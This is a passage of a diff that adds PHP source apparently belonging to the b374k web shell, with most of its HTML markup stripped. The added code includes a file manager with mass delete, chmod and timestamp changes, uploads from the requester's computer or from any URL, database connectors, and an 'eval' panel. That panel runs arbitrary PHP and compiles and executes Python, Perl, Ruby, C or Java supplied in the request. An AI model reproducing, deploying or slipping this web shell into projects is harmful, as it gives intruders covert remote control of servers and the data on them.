$s_laction = ""; + if(is_dir($s_l)){ + if($s_l=="."){ + $s_lhref = $s_self."cd=".$s_cwd; + $s_lsize = "LINK"; + $s_laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + elseif($s_l==".."){ + $s_lhref = $s_self."cd=".$s_parent; + $s_lsize = "LINK"; + $s_laction = " + + find | + upl | + +file | + +dir + +
+
+ + + + + +
"; + } + else{ + $s_lhref = $s_self."cd=".$s_cwd.$s_l.DIRECTORY_SEPARATOR; + $s_lsize = "DIR"; + $s_laction = " + + find | + upl | + ren | + del + +
+
+ + + + + + +
"; + } + $s_lname = "[ ".$s_l." ]"; + $s_lsizetit = "0"; + } + else{ + $s_lhref = $s_self."view=".$s_l; + $s_lname = $s_l; + $s_lsize = gs($s_l); + $s_lsizetit = @filesize($s_l); + $s_laction = " +
+
+ + + + + +
+ + edit | + hex | + ren | + del + "; + } + + if(($s_l!='.')&&($s_l!='..')){ + $s_cboxes = " + + "; + } + else $s_cboxes = "~"; + $s_ldl = str_replace("__dlpath__",$s_l,$s_arc); + $s_buff .= " + + + + + ".$s_owner_html." + + + + "; + } + + $s_buff .= " + + + +
namesizepermsmodifiedactiondownload
".$s_owner."
".$s_cboxes." + ".$s_lname." + ".$s_lsize."".gp($s_l)."".@date("d-M-Y H:i:s",filemtime($s_l))."".$s_laction."".$s_ldl."
+
+ + +
+ +
+ "; + return $s_buff; +} +//database related functions +function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_connect')) return @mysql_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_connect')) return @mssql_connect($s_sqlhost,$s_sqluser,$s_sqlpass); + elseif(function_exists('sqlsrv_connect')){ + $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); + return @sqlsrv_connect($s_sqlhost,$s_coninfo); + } + } + elseif($s_sqltype == 'pgsql'){ + $s_hosts = explode(":", $s_sqlhost); + if(count($s_hosts)==2){ + $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; + } + else $s_host_str = "host=".$s_sqlhost; + if(function_exists('pg_connect')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); + } + elseif($s_sqltype == 'oracle'){if(function_exists('oci_connect')) return @oci_connect($s_sqluser,$s_sqlpass,$s_sqlhost);} + elseif($s_sqltype == 'sqlite3'){ + if(class_exists('SQLite3')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); + else return false; + } + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_open')) return @sqlite_open($s_sqlhost);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_connect')) return @odbc_connect($s_sqlhost,$s_sqluser,$s_sqlpass);} + elseif($s_sqltype == 'pdo'){ + if(class_exists('PDO')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost,$s_sqluser,$s_sqlpass); + else return false; + } +} +function sql_query($s_sqltype, $s_query, $s_con){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_query')) return mysql_query($s_query);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_query')) return mssql_query($s_query); + elseif(function_exists('sqlsrv_query')) return sqlsrv_query($s_con,$s_query); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_query')) return pg_query($s_query);} + elseif($s_sqltype == 'oracle'){ + if(function_exists('oci_parse') && function_exists('oci_execute')){ + $s_st = oci_parse($s_con, $s_query); + oci_execute($s_st); + return $s_st; + } + } + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->query($s_query);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_query')) return sqlite_query($s_con, $s_query);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_exec')) return odbc_exec($s_con, $s_query);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con->query($s_query);} +} +function sql_num_fields($s_sqltype, $s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_num_fields')) return mysql_num_fields($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_num_fields')) return mssql_num_fields($s_hasil); + elseif(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($s_hasil); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_fields')) return pg_num_fields($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_fields')) return oci_num_fields($s_hasil);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->numColumns();} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_fields')) return sqlite_num_fields($s_hasil);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_fields')) return odbc_num_fields($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->columnCount();} +} +function sql_field_name($s_sqltype,$s_hasil,$s_i){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_field_name')) return mysql_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_field_name')) return mssql_field_name($s_hasil,$s_i); + elseif(function_exists('sqlsrv_field_metadata')){ + $s_metadata = sqlsrv_field_metadata($s_hasil); + if(is_array($s_metadata)){ + $s_metadata=$s_metadata[$s_i]; + } + if(is_array($s_metadata)) return $s_metadata['Name']; + } + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_field_name')) return pg_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_field_name')) return oci_field_name($s_hasil,$s_i+1);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->columnName($s_i);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_field_name')) return sqlite_field_name($s_hasil,$s_i);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_field_name')) return odbc_field_name($s_hasil,$s_i+1);} + elseif($s_sqltype == 'pdo'){ + if(class_exists('PDO')){ + $s_res = $s_hasil->getColumnMeta($s_i); + return $s_res['name']; + } + } +} +function sql_fetch_data($s_sqltype,$s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_fetch_row')) return mysql_fetch_row($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_fetch_row')) return mssql_fetch_row($s_hasil); + elseif(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($s_hasil,1); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_fetch_row')) return pg_fetch_row($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_fetch_row')) return oci_fetch_row($s_hasil);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_hasil->fetchArray(1);} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_fetch_array')) return sqlite_fetch_array($s_hasil,1);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_fetch_array')) return odbc_fetch_array($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->fetch(2);} +} +function sql_num_rows($s_sqltype,$s_hasil){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_num_rows')) return mysql_num_rows($s_hasil);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_num_rows')) return mssql_num_rows($s_hasil); + elseif(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($s_hasil); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_num_rows')) return pg_num_rows($s_hasil);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_num_rows')) return oci_num_rows($s_hasil);} + elseif($s_sqltype == 'sqlite3'){ + if(class_exists('SQLite3')){ + $s_metadata = $s_hasil->fetchArray(); + if(is_array($s_metadata)) return $s_metadata['count']; + } + } + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_num_rows')) return sqlite_num_rows($s_hasil);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_num_rows')) return odbc_num_rows($s_hasil);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_hasil->rowCount();} +} +function sql_close($s_sqltype,$s_con){ + if($s_sqltype == 'mysql'){if(function_exists('mysql_close')) return mysql_close($s_con);} + elseif($s_sqltype == 'mssql'){ + if(function_exists('mssql_close')) return mssql_close($s_con); + elseif(function_exists('sqlsrv_close')) return sqlsrv_close($s_con); + } + elseif($s_sqltype == 'pgsql'){if(function_exists('pg_close')) return pg_close($s_con);} + elseif($s_sqltype == 'oracle'){if(function_exists('oci_close')) return oci_close($s_con);} + elseif($s_sqltype == 'sqlite3'){if(class_exists('SQLite3')) return $s_con->close();} + elseif($s_sqltype == 'sqlite'){if(function_exists('sqlite_close')) return sqlite_close($s_con);} + elseif($s_sqltype == 'odbc'){if(function_exists('odbc_close')) return odbc_close($s_con);} + elseif($s_sqltype == 'pdo'){if(class_exists('PDO')) return $s_con = null;} +} +if(!function_exists('str_split')){ + function str_split($s_t,$s_s=1){ + $s_a = array(); + for($s_i=0;$s_i[ "; + if ($s_letter.":" != $s_v) {$s_letters .= $s_letter;} + else {$s_letters .= "".$s_letter."";} + $s_letters .= " ] "; + } + } + } + // prompt style.. + $s_prompt = $s_user." >"; + // check for posix + $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + // server ip + $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + // your ip ;-) + $s_my_ip = $_SERVER['REMOTE_ADDR']; + $s_result = ""; + + global $s_python, $s_perl, $s_ruby, $s_gcc, $s_java, $s_tar; + // check python + if(isset($_COOKIE['s_python'])){$s_python = $_COOKIE['s_python'];} + else{ + $s_python = check_access("python"); + setcookie("s_python", $s_python ,time() + $s_login_time); + } + $s_python = ($s_python=="1")?true:false; + + // check perl + if(isset($_COOKIE['s_perl'])){$s_perl = $_COOKIE['s_perl'];} + else{ + $s_perl = check_access("perl"); + setcookie("s_perl", $s_perl ,time() + $s_login_time); + } + $s_perl = ($s_perl=="1")?true:false; + + // check ruby + if(isset($_COOKIE['s_ruby'])){$s_ruby = $_COOKIE['s_ruby'];} + else{ + $s_ruby = check_access("ruby"); + setcookie("s_ruby", $s_ruby ,time() + $s_login_time); + } + $s_ruby = ($s_ruby=="1")?true:false; + + // check gcc + if(isset($_COOKIE['s_gcc'])){$s_gcc = $_COOKIE['s_gcc'];} + else{ + $s_gcc = check_access("gcc"); + setcookie("s_gcc", $s_gcc ,time() + $s_login_time); + } + $s_gcc = ($s_gcc=="1")?true:false; + + // check java + if(isset($_COOKIE['s_java'])){$s_java = $_COOKIE['s_java'];} + else{ + $s_java = check_access("java"); + setcookie("s_java", $s_java ,time() + $s_login_time); + } + $s_java = ($s_java=="1")?true:false; + + // check tar + if(isset($_COOKIE['s_tar'])){$s_tar = $_COOKIE['s_tar'];} + else{ + $s_tar = check_access("tar"); + setcookie("s_tar", $s_tar ,time() + $s_login_time); + } + $s_tar = ($s_tar=="1")?true:false; + + if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){ + $s_dltype = ss($_REQUEST['dltype']); + $s_dlpath = ss($_REQUEST['dlpath']); + + $s_dlname = basename($s_dlpath); + if($s_dlpath==".") $s_dlname=basename($s_cwd); + elseif($s_dlpath==".."){ + chdir(".."); + $s_dlname=basename(getcwd()); + chdir($s_cwd); + } + $s_tmpdir = get_writabledir(); + $s_dlarchive = $s_tmpdir.$s_dlname; + $s_dlthis = ""; + if($s_dltype=="ziparchive"){ + $s_dlarchive .= ".zip"; + if(zip($s_dlpath,$s_dlarchive)){ + $s_dlthis = $s_dlarchive; + } + } + elseif($s_dltype=="tar"){ + $s_dlarchive .= ".tar"; + $s_dlarchive = str_replace('\\', '/', $s_dlarchive); + exe("tar cf ".$s_dlarchive." ".$s_dlpath); + $s_dlthis = $s_dlarchive; + } + elseif($s_dltype=="targz"){ + $s_dlarchive .= ".tar.gz"; + $s_dlarchive = str_replace('\\', '/', $s_dlarchive); + exe("tar czf ".$s_dlarchive." ".$s_dlpath); + $s_dlthis = $s_dlarchive; + } + elseif($s_dltype=="raw"){ + if(is_file($s_dlpath)) $s_dlthis = $s_dlpath; + } + + if(is_file($s_dlthis)){ + header("Content-Type: application/octet-stream"); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".@filesize($s_dlthis)); + header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";"); + $s_file = @fopen($s_dlthis,"rb"); + while(!feof($s_file)){ + print(@fread($s_file, 1024*8)); + ob_flush(); + flush(); + } + fclose($s_file); + + if($s_dltype!="raw"){ + rename($s_dlthis,$s_dlthis."del"); + unlink($s_dlthis."del"); + } + exit; + } + } + // massact + if(isset($_REQUEST['y'])){ + $s_massact = $_COOKIE['massact']; + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + if(!empty($s_buffer)){ + if($_REQUEST['y']=='delete'){ + $s_result .= "

Delete ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='chmod'){ + $s_result .= "
chmod ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='touch'){ + $s_result .= "
touch ?
"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='paste' && $s_massact=='cut'){ + $s_result .= "

Move here ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + elseif($_REQUEST['y']=='paste' && $s_massact=='copy'){ + $s_result .= "

Copy here ? Yes | No

"; + foreach($s_lists as $s_l) $s_result .= "

".$s_l."

"; + } + } + } + + if(isset($_REQUEST['y'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + if($_REQUEST['y']=='moveok'){ + foreach($s_lists as $s_l){ + if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders moved

"; + else $s_result .= "

no files/folders moved

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + if($_REQUEST['y']=='copyok'){ + foreach($s_lists as $s_l){ + if(copy($s_l,$s_cwd.basename($s_l))) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders copied

"; + else $s_result .= "

no files/folders copied

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + if($_REQUEST['y']=='delok'){ + foreach($s_lists as $s_l){ + if(is_file($s_l)){ + if(unlink($s_l)) $s_counter++; + } + elseif(is_dir($s_l)){ + rmdirs($s_l); + if(!is_dir($s_l)) $s_counter++; + } + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders deleted

"; + else $s_result .= "

no files/folders deleted

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + } + elseif(isset($_REQUEST['chmodok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + $s_mod = octdec($_REQUEST['chmodok']); + foreach($s_lists as $s_l){ + if(chmod($s_l,$s_mod)) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed mode to ".decoct($s_mod)."

"; + else $s_result .= "

no files/folders modified

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + elseif(isset($_REQUEST['touchok'])){ + $s_buffer = rtrim(trim(urldecode($_COOKIE['buffer'])),"|"); + $s_lists = explode("|", $s_buffer); + $s_counter = 0; + $s_datenew = strtotime($_REQUEST['touchok']); + foreach($s_lists as $s_l){ + if(touch($s_l,$s_datenew)) $s_counter++; + } + if($s_counter>0) $s_result .= "

".$s_counter." files/folders changed access and modification time to ".date("d-M-Y H:i:s",$s_datenew)."

"; + else $s_result .= "

no files/folders modified

"; + setcookie("buffer", "" ,time() - $s_login_time); + setcookie("massact", "" ,time() - $s_login_time); + } + + // view image specified by ?img= + if(isset($_REQUEST['img'])){ + ob_clean(); + $s_d = ss($_REQUEST['d']); + $s_f = ss($_REQUEST['img']); + $s_inf = @getimagesize($s_d.$s_f); + $s_ext = explode($s_f,"."); + $s_ext = $s_ext[count($s_ext)-1]; + header("Content-type: ".$s_inf["mime"]); + header("Cache-control: public"); + header("Expires: ".@date("r",@mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7));# + readfile($s_d.$s_f); + exit; + } + + // rename file or folder + if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ + $s_old = ss($_REQUEST['oldname']); + $s_new = ss($_REQUEST['newname']); + + $s_renmsg = ""; + if(is_dir($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; + elseif(is_file($s_old)) $s_renmsg = (@rename($s_cwd.$s_old,$s_cwd.$s_new)) ? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; + else $s_renmsg = "Cannot find the path specified ".$s_old; + + $s_result .= "

".$s_renmsg."

"; + $s_fnew = $s_cwd.$s_new; + } + + // confirm delete + if(!empty($_REQUEST['del'])){ + $s_del = trim($_REQUEST['del']); + $s_result .= "

Delete ".basename($s_del)." ? Yes | No

"; + }// delete file + elseif(!empty($_REQUEST['delete'])){ + $s_f = ss($_REQUEST['delete']); + $s_delmsg = ""; + if(is_file($s_f)){ + $s_delmsg = (unlink($s_f)) ? "File removed : ".$s_f : "Unable to remove file ".$s_f; + } + elseif(is_dir($s_f)){ + rmdirs($s_f); + $s_delmsg = (is_dir($s_f)) ? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; + } + else $s_delmsg = "Cannot find the path specified ".$s_f; + $s_result .= "

".$s_delmsg."

"; + } // create dir + elseif(!empty($_REQUEST['mkdir'])){ + $s_f = ss($s_cwd.ss($_REQUEST['mkdir'])); + $s_dirmsg = ""; + + $s_num = 1; + if(is_dir($s_f)){ + $s_pos = strrpos($s_f,"_"); + if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1); + while(is_dir(substr($s_f,0,$s_pos)."_".$s_num)){ + $s_num++; + } + $s_f = substr($s_f,0,$s_pos)."_".$s_num; + } + if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; + else $s_dirmsg = "Unable to create directory ".$s_f; + + $s_result .= "

".$s_dirmsg."

"; + } + + // php eval() function + if(isset($_REQUEST['x']) && ($_REQUEST['x']=='eval')){ + $s_code = ""; + $s_res = ""; + $s_gccoption = ""; + $s_lang = "php"; + + if(isset($_REQUEST['evalcode'])){ + $s_code = ssc($_REQUEST['evalcode']); + $s_gccoption = (isset($_REQUEST['gccoption']))? " ".ssc($_REQUEST['gccoption']):""; + $s_tmpdir = get_writabledir(); + + if(isset($_REQUEST['lang'])){$s_lang = $_REQUEST['lang'];} + + if(strtolower($s_lang)=='php'){ + ob_start(); + eval($s_code); + $s_res = ob_get_contents(); + ob_end_clean(); + } + elseif(strtolower($s_lang)=='python'||strtolower($s_lang)=='perl'||strtolower($s_lang)=='ruby'){ + $s_rand = md5(time().rand(0,100)); + $s_script = $s_tmpdir.$s_rand; + file_put_contents($s_script, $s_code); + if(is_file($s_script)){ + $s_res = exe($s_lang." ".$s_script.$s_gccoption); + unlink($s_script); + } + } + elseif(strtolower($s_lang)=='gcc'){ + $s_script = md5(time().rand(0,100)); + chdir($s_tmpdir); + file_put_contents($s_script.".c", $s_code); + if(is_file($s_script.".c")){ + $s_scriptout = $s_win ? $s_script.".exe" : $s_script; + $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_gccoption); + if(is_file($s_scriptout)){ + $s_res = $s_win ? exe($s_scriptout) : exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); + rename($s_scriptout, $s_scriptout."del"); + unlink($s_scriptout."del"); + } + unlink($s_script.".c"); + } + chdir($s_cwd); + } + elseif(strtolower($s_lang)=='java'){ + if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){ + $s_classname = trim($s_r[1]); + $s_script = $s_classname; + } + else{ + $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); + $s_script = $s_rand; + $s_code = "class ".$s_rand." { ".$s_code . " } "; + } + chdir($s_tmpdir); + file_put_contents($s_script.".java", $s_code); + if(is_file($s_script.".java")){ + $s_res = exe("javac ".$s_script.".java"); + if(is_file($s_script.".class")){ + $s_res .= exe("java ".$s_script.$s_gccoption); + unlink($s_script.".class"); + } + unlink($s_script.".java"); + } + chdir($s_pwd); + } + } + + $s_lang_available = ""; + $s_selected = ""; + if($s_python){ + $s_checked = ($s_lang == "python") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_perl){ + $s_checked = ($s_lang == "perl") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_ruby){ + $s_checked = ($s_lang == "ruby") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_gcc){ + $s_checked = ($s_lang == "gcc") ? "selected" : ""; + $s_lang_available .= ""; + } + if($s_java){ + $s_checked = ($s_lang == "java") ? "selected" : ""; + $s_lang_available .= ""; + } + $s_gccoptionclass = ($s_lang=="php")? "sembunyi":""; + $s_e_result = (!empty($s_res)) ? "
".hss($s_res)."
":""; + $s_result .= "
+ + + + +

+
+
Additional option
+ ".$s_e_result." + +
+ "; + } + // find + elseif(isset($_REQUEST['find'])){ + $s_p = cp($_REQUEST['find']); + + $s_type = isset($_REQUEST['type']) ? $_REQUEST['type'] : "sfile"; + $s_sfname = (!empty($_REQUEST['sfname']))?ssc($_REQUEST['sfname']):''; + $s_sdname = (!empty($_REQUEST['sdname']))?ssc($_REQUEST['sdname']):''; + $s_sfcontain = (!empty($_REQUEST['sfcontain']))?ssc($_REQUEST['sfcontain']):''; + + $s_sfnameregexchecked=$s_sfnameicasechecked=$s_sdnameregexchecked=$s_sdnameicasechecked=$s_sfcontainregexchecked=$s_sfcontainicasechecked=$s_swritablechecked=$s_sreadablechecked=$s_sexecutablechecked=""; + $s_sfnameregex=$s_sfnameicase=$s_sdnameregex=$s_sdnameicase=$s_sfcontainregex=$s_sfcontainicase=$s_swritable=$s_sreadable=$s_sexecutable=false; + + if(isset($_REQUEST['sfnameregex'])){$s_sfnameregex=true;$s_sfnameregexchecked="checked";} + if(isset($_REQUEST['sfnameicase'])){$s_sfnameicase=true;$s_sfnameicasechecked="checked";} + if(isset($_REQUEST['sdnameregex'])){$s_sdnameregex=true;$s_sdnameregexchecked="checked";} + if(isset($_REQUEST['sdnameicase'])){$s_sdnameicase=true;$s_sdnameicasechecked="checked";} + if(isset($_REQUEST['sfcontainregex'])){$s_sfcontainregex=true;$s_sfcontainregexchecked="checked";} + if(isset($_REQUEST['sfcontainicase'])){$s_sfcontainicase=true;$s_sfcontainicasechecked="checked";} + if(isset($_REQUEST['swritable'])){$s_swritable=true;$s_swritablechecked="checked";} + if(isset($_REQUEST['sreadable'])){$s_sreadable=true;$s_sreadablechecked="checked";} + if(isset($_REQUEST['sexecutable'])){$s_sexecutable=true;$s_sexecutablechecked="checked";} + + $s_sexecb = (function_exists("is_executable")) ? "
":""; + + $s_candidate = array(); + if(isset($_REQUEST['sgo'])){ + $s_af = ""; + + $s_candidate = getallfiles($s_p); + if($s_type=='sfile') $s_candidate = array_filter($s_candidate, "is_file"); + elseif($s_type=='sdir') $s_candidate = array_filter($s_candidate, "is_dir"); + + foreach($s_candidate as $s_a){ + if($s_type=='sdir'){ + if(!empty($s_sdname)){ + if($s_sdnameregex){ + if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));} + else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));} + } + else{ + if($s_sdnameicase){if(strpos(strtolower(basename($s_a)),strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate,array($s_a));} + else{if(strpos(basename($s_a),$s_sdname)===false) $s_candidate = array_diff($s_candidate,array($s_a));} + } + } + } + elseif($s_type=='sfile'){ + if(!empty($s_sfname)){ + if($s_sfnameregex){ + if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));} + else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate,array($s_a));} + } + else{ + if($s_sfnameicase){if(strpos(strtolower(basename($s_a)),strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate,array($s_a));} + else{if(strpos(basename($s_a),$s_sfname)===false) $s_candidate = array_diff($s_candidate,array($s_a));} + } + } + if(!empty($s_sfcontain)){ + $s_sffcontent = @file_get_contents($s_a); + if($s_sfcontainregex){ + if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate,array($s_a));} + else{if(!preg_match("/".$s_sfcontain."/", $s_sffcontent)) $s_candidate = array_diff($s_candidate,array($s_a));} + } + else{ + if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent),strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate,array($s_a));} + else{if(strpos($s_sffcontent,$s_sfcontain)===false) $s_candidate = array_diff($s_candidate,array($s_a));} + } + } + } + } + } + + $s_f_result = "";$s_link=""; + foreach($s_candidate as $s_c){ + $s_c=trim($s_c); + if($s_swritable && !is_writable($s_c)) continue; + if($s_sreadable && !is_readable($s_c)) continue; + if($s_sexecutable && !is_executable($s_c)) continue; + if($s_type=="sfile") $s_link = $s_self."cd=".cp(dirname($s_c))."&view=".basename($s_c); + elseif($s_type=="sdir") $s_link = $s_self."cd=".cp($s_c); + $s_f_result .= "

".$s_c."

"; + } + + $s_tsdir = ($s_type=="sdir")? "selected":""; + $s_tsfile = ($s_type=="sfile")? "selected":""; + + if(!is_dir($s_p)) $s_result .= "

Cannot find the path specified ".$s_p."

"; + $s_result .= "
+

Find

+ + + + + + + + + + + + + + + + + + + + + + + + + +
Search in
Dirname contains + + +
Filename contains + + +
File contains + + +
Permissions + + + ".$s_sexecb." +
+ + + +
+
+
+
+ ".$s_f_result." +
+ "; + } + // upload ! + elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='upload')){ + $s_result = " "; + $s_msg = ""; + if(isset($_REQUEST['uploadhd'])){ + $s_fn = $_FILES['filepath']['name']; + if(is_uploaded_file($_FILES['filepath']['tmp_name'])){ + $s_p = cp(ss($_REQUEST['savefolder'])); + if(!is_dir($s_p)) $s_p = cp(dirname($s_p)); + if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $s_fn = ss($_REQUEST['savefilename']); + $s_tm = $_FILES['filepath']['tmp_name']; + $s_pi = cp($s_p).$s_fn; + $s_st = @move_uploaded_file($s_tm,$s_pi); + if($s_st) $s_msg = "

File uploaded to ".$s_pi."

"; + else $s_msg = "

Failed to upload ".$s_fn."

"; + } + else $s_msg = "

Failed to upload ".$s_fn."

"; + } + elseif(isset($_REQUEST['uploadurl'])){ + // function dlfile($s_url,$s_fpath){ + $s_p = cp(ss($_REQUEST['savefolderurl'])); + if(!is_dir($s_p)) $s_p = cp(dirname($s_p)); + $s_fu = ss($_REQUEST['fileurl']); + $s_fn = basename($s_fu); + if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $s_fn = ss($_REQUEST['savefilenameurl']); + $s_fp = cp($s_p).$s_fn; + $s_st = dlfile($s_fu,$s_fp); + if($s_st) $s_msg = "

File uploaded to ".$s_fp."

"; + else $s_msg = "

Failed to upload ".$s_fn."

"; + } + else{ + if(!is_writable($s_cwd)) $s_msg = "

Directory ".$s_cwd." is not writable, please change to a writable one

"; + } + + if(!empty($s_msg)) $s_result .= $s_msg; + $s_result .= " +
+

Upload from computer

+ + + + + +
File +
Save to
Filename (optional)
  + + +
+
+
+
+

Upload from internet

+ + + + + +
File URL +
Save to
Filename (optional)
  + + +
+
+
+ "; + } // view file + elseif(isset($_REQUEST['view'])){ + $s_f = ss($_REQUEST['view']); + if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew; + $s_owner = ""; + if(is_file($s_f)){ + if(!$s_win && $s_posix){ + $s_name = posix_getpwuid(fileowner($s_f)); + $s_group = posix_getgrgid(filegroup($s_f)); + $s_owner = "Owner".$s_name['name'].":".$s_group['name'].""; + } + $s_filn = basename($s_f); + $s_dlfile = get_archiver_available(); + $s_dlfile = str_replace("__dlpath__",$s_filn,$s_dlfile); + $s_dlfile = str_replace("__dlcwd__",$s_cwd,$s_dlfile); + $s_result .= " + + + + ".$s_owner." + + + + + +
Filename".$s_filn." +
+
+ + + + +
+ +
+
Size".gs($s_f)." (".@filesize($s_f).")
Permission".gp($s_f)."
Create time".@date("d-M-Y H:i:s",filectime($s_f))."
Last modified".@date("d-M-Y H:i:s",filemtime($s_f))."
Last accessed".@date("d-M-Y H:i:s",fileatime($s_f))."
Actions + edit | + hex | + ren | + del ".$s_dlfile." +
View + text | + code | + image | + audio | + video +
